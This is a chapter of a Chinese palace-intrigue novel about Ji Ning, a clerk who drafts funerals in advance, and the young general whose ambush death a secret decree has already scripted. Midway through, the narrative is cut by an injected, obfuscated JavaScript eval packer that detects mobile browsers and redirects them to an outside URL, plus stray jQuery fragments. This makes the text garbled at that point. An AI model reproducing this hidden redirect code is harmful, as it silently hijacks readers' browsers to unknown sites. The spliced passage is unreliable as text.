季柠在凶礼司当差第六年，第一次见到一个活人的死法写得这样细。
子时刚过，宫门方向的更鼓遥遥传来，沉沉敲了三下。外头一阵脚步声踩着夜色过来，不急不缓，比平常值夜差役都沉一点。她正趴在案后打盹，听见动静，掀起眼皮一看，便见一个内监模样的人推门进来，身后跟着掌灯的小太监，手里捧着一只细长黑匣，匣面覆着黄绫。那内监笑模笑样，眼角却压着很深的纹，一看就是宫里出来的老人。站定之后，他慢条斯理扫了屋里一眼：“哪位是季掌簿？”
季柠站起身，规规矩矩行了一礼：“下官便是。”
那老太监点了点头，连寒暄都省了，径直将那只黑匣放到案上：“宫里的旨意，季掌簿亲启吧。”
深更半夜，宫里来旨，多半没什么好事。季柠眼皮微微一跳，伸手掀开黄绫，取出里头那卷薄薄的密旨。纸是上好的澄心堂，边角压金，墨迹新得发亮。
她只看了两眼，原本困得发木的脑子一下清醒了大半。
——镇北将军宋昭，预拟丧仪底册。
她盯着那几个字看了一会儿，几乎怀疑自己是不是灯下看花了。
宋昭这个名字，在京中不能说家喻户晓，也差不离。年纪轻轻，北境杀出来的战功，二十六岁封镇北将军，十万铁骑握在手里，走到哪儿都像一把出鞘的刀。这样的人，若真哪一日死了，朝堂上下大概都会震上三震。可问题是，这人前几日才刚得了边关捷报，皇帝在朝上夸过他一句北境战神，这样的风头，这样的年纪，这样的一副活阎王似的命数，怎么看都不像一时半会儿就要用上丧仪的人。
偏偏密旨上写得明明白白。
停灵日数、发丧规格、哭灵名册、祭文初制，都写得一清二楚。再往下，死因一栏，只有四个字，墨色极重。
忠烈战死。
下头甚至连事出经过都已经拟好。
——将军自将军府起，过朱雀长街，出西郊石桥，沿北营官道北上，路遇埋伏，为掩护大军撤退，身中数箭，忠烈战死。
她忽然觉得后背有点发凉。
直到这一刻，她才后知后觉地想起来，自己待的到底是个什么地方。
凶礼司在京城算个极冷门的衙门，冷门到大多数人都不知道天底下还有这么个部门存在。事实上它也确实不怎么见得了光，挂在礼部名下，平日里不大露面，只在谁家死了人，或者谁家眼看着要死了的时候，才会被想起来。
它管的也不是别的，正是丧仪。
棺椁用什么木，停灵停几日，哭灵名册如何排，发丧时从哪条街过，祭文该写到什么分寸，谥号又该落在哪两个字上……
这些常规的都好说。真正让人脊背发凉的，是它还有一桩职责——预拟丧仪，讲究的是未雨绸缪，防的就是哪个重臣突发情况逝世，丧仪事项准备不周失礼。
说白了，就是替还活着的人先把身后事备着。
听着晦气，做起来更晦气。可偏偏晦气这种东西，一旦沾上了皇家规制，立刻就显出几分祖宗法度不可废的庄重来。于是满朝文武一边嫌这里不吉利，一边又不得不捏着鼻子认下它的存在。
季柠就在这地方熬到了掌簿。
她图的从来不是青云直上，不过是平平安安领那点俸银，少惹事，多活几年。像这种一看就容易掉脑袋的差事，照理说怎么都轮不到她。可眼下这份底册摆在案上，连宋昭会从哪条路出城、在哪儿遇伏、怎么死，都已经写得明明白白。
她在凶礼司这些年，什么样的底册都见过。暴病、落水、坠马、中毒、病故，体面些的不体面些的，真真假假写了一架子。可宋将军这样年轻的人，预拟丧仪简直就像是咒他早死一样。更别提这份底册里连他从哪条路出城、在哪儿遇伏、怎么死，都写得明明白白。
“季掌簿。”那老太监在一旁开了口，语气不紧不慢，“看明白了？”
季柠把那点发冷的念头压回去，低头应道：“明白。”
她清了清嗓子，把密旨摊平，提笔蘸墨，往底册上补录。“镇北将军，宋昭。”她低低念了一句，笔尖在纸上顿了顿，“死因暂拟，忠烈战死。”
那老太监见她落了笔，才又慢悠悠开口：“这份底册，季掌簿今夜先整理出来。明日礼部会有文书下来，你再亲自去将军府一趟，把该补的补齐。”
季柠抬头：“去将军府？”
“明面上，是替将军核对几个月后封赏所用的礼制服制。”老太监说得滴水不漏，“量体裁衣，补录旧伤，核对佩饰、仪注，样样都说得过去。你只管拿礼部的文书去，至于别的……”
他看了季柠一眼，似笑非笑。
季柠立刻点头，答得很快：“下官明白。下官一向嘴紧，胆子也小。”
这其实是凶礼司一贯的做派。活人当然不能明着说给你备丧仪，那和上门咒人死也差不多了。于是外头总得罩上一层体面皮子，今儿是量封赏礼服，明儿是核仪制底档，横竖要把该记的都记下来。明面上量的是几个月后的赏服尺寸，暗地里记的，却是将来殓衣、棺椁与入殓的规制。
老太监显然对她这副识趣模样很满意，点了点头，留下了一句“季掌簿一向会办差”，就转身带着人走了。门重新关上，夜风从缝隙里钻进来，吹得烛火轻轻一晃。
季柠低头看着案上那份底册，忽然有点看不下去了。她索性把笔一搁，暂停了誊抄工作，整个人往椅背上一靠，轻轻“啧”了一声：“宋将军，你最好活久一点。”
这话自然没人听见。只有窗外一阵风掠过，吹得纸页轻轻翻起一角，露出下头那行墨迹未干的字——将军自将军府起，过朱雀长街，出西郊石桥，沿北营官道北上，路遇埋伏，为掩护大军撤退，身中数箭，忠烈战死。
第二日一早，礼部的文书果然下来了。
名头起得十分堂皇，核对镇北将军封赏礼制服制，提前备制赏服。说得再直白一点，就是给季柠送了个光明正大登门的由头。
她换了身规矩些的官服，把卷宗往怀里一抱，跟着礼部来的小吏一路去了将军府。她平时在凶礼司待惯了，少有这种白日里正大光明上别人府门的机会，乍一站到将军府门前，竟还觉得眼前亮堂得有些晃眼。
宋昭这座府邸倒挺像他本人。门庭不算夸张，却收拾得极干净，朱门高阶，守门亲卫个个站得笔直，脸上没什么多余表情，看人时像是在估量你值几刀。院里也安静，没有京中那些高门府邸惯有的脂粉香气和莺声笑语，连廊下的风都带着股利落劲儿。
来迎她的是宋昭的副将，姓霍，名青。
霍青年纪不大，眉目生得很精神，见了她，神色却有些复杂。大约是没想到礼部今日派来的，不是什么老成持重的司制官，而是个年纪轻轻的姑娘。
“季大人？”霍青问。
季柠点头，把手中文书递过去：“下官礼部季柠，奉命来为将军核对封赏礼制服制，顺便量体裁衣，免得日后圣上封赏时赶制不及。将军若嫌麻烦，回头只管怪礼部规矩多，别怪到我这跑腿的小吏头上。下官俸银薄，经不起吓。”
霍青先是一怔，接着脸上的表情都有点裂，像是头一回见着有人把怕担责说得这样理直气壮。他低头看了眼文书，见上头确实盖着礼部官印，便也不好多问，只能把人领进去。
一路往里走时，季柠忍不住多看了两眼。院中几个亲卫正练刀，动作干净利落，刀风一过，卷得地上的落叶都跟着打了个旋。再往里，演武场边摆着未收的长枪和弓架，一切都带着军中那股不太讲究花架子的实用劲儿。
霍青把她领到偏厅，请她稍候，自己则转身去请宋昭。
季柠趁着这片刻工夫，把卷宗摊开理了理
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548085|204238||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。里头要补的东西不少，封赏年表、礼制等级、身量尺寸、旧伤记档，甚至连棺椁规制，她昨夜都已经另誊在暗册上。明面上她今日量的是几个月后赏服的尺寸，暗地里真正要记的，却是一个活人的死后规格。
她想到这里，低头看了一眼自己带来的软尺，忽然觉得这东西拿在手里都有点冒犯。
没过多久，外头传来脚步声。
很稳，也很轻，不像文官，也不像养尊处优的权贵，更像那种长年在战场上把刀提惯了的人，踩在地上，连声响都收得恰到好处。
季柠抬头。
宋昭从外头走了进来。
他今日没穿朝服，只一身墨色常服，腰间束带收得很利，越发衬得肩背挺拔。人比她昨夜在脑子里随便勾勒的样子还要更锋利些，轮廓利落，眼神也沉，整个人往那儿一站，像一把没出鞘却已经让人知道很不好碰的刀。
季柠在凶礼司当差，见过许多将死未死的人，也见过许多已经死了却被祭文写得活像圣贤的人。可像宋昭这样，活气盛得几乎要从骨头里往外冒的人，她还是第一次要给他记死后规格。
一时间，她居然有点想笑，这差事果然缺德。
宋昭的目光在她身上停了一瞬，眉头极轻地动了动：“礼部派你来的？”
声音不高，也不冷，只是听着没什么情绪。
季柠起身行礼：“下官季柠，奉礼部之命，来为将军核对封赏礼制服制。圣上前些日子刚提过北境封赏，礼部怕日后后赶制不及，便命下官先来把该量的都量了，该补的也一并补齐。”
宋昭看着她，眸色淡淡的，像是在判断她这句话里哪几个字更真些，他默了半响，终于开口：“要量什么？”
季柠把卷宗翻开，公事公办地念：“外袍、朝服、中衣、靴履、佩带规格，另还要核对将军旧伤所在，以免裁制时不合身，穿着束手。”
这话自然是她临时编出来的，可编得并不算离谱。战功卓著的武将若要受赏，朝廷提前备礼服，也勉强说得过去。
宋昭看了她片刻，只伸出手：“量吧。”
季柠应了一声，从袖中摸出细软的绳尺。寻常司制官给人量体，多半是为了婚服朝服，偏她这一尺一寸，量的是一个活人的死后规格。可她动作偏偏很稳，站近时也不见局促，只低头记着尺寸，偶尔抬眼扫过他的肩背、手臂、腰身，连他右手虎口那层常年握刀磨出来的薄茧都一并记进眼里。
宋昭垂眼看着她，忽然道：“礼部的人，如今量体都这样细？”
季柠头也不抬：“将军这样的身份，若礼服稍有不妥，礼部上下都得挨训。下官胆子小，自然只能记细些。”
她嘴上说得冠冕堂皇，心里却想：不细不行。肩宽多少，腰身几寸，若真有一日要入殓，棺木里多半空不得，也紧不得。做她这一行的，最怕的就是人都躺下了，尺寸却差了半分，到时忙中出错，丢的是凶礼司的脸。
季柠细细量完，收了绳尺，又翻了翻卷宗，之后才像随口似的问：“将军近日可要出京？”
这话问得忽然，霍青下意识皱了下眉：“季大人问这个做什么？”
季柠抬头，一脸无辜：“礼部要连出行时的礼服样制一并核准。若将军近期有祭告、封赏、犒军之类的行程，下官也好看用的是常服、戎装还是受赏礼服，免得回去交不了差。”
这理由说得勉强，倒也说得过去。霍青看了看宋昭，见自家将军没出声，才答道：“三日后，将军要出城去北营犒军。从将军府出，走朱雀街，过西郊石桥，再往北营官道去，往年也差不多都是这条路。”
季柠手中的笔，轻轻顿了一下。
西郊石桥。
北营官道。
昨夜底册上那条写得清清楚楚的死路，此刻从霍青嘴里，一字不差地说了出来。
?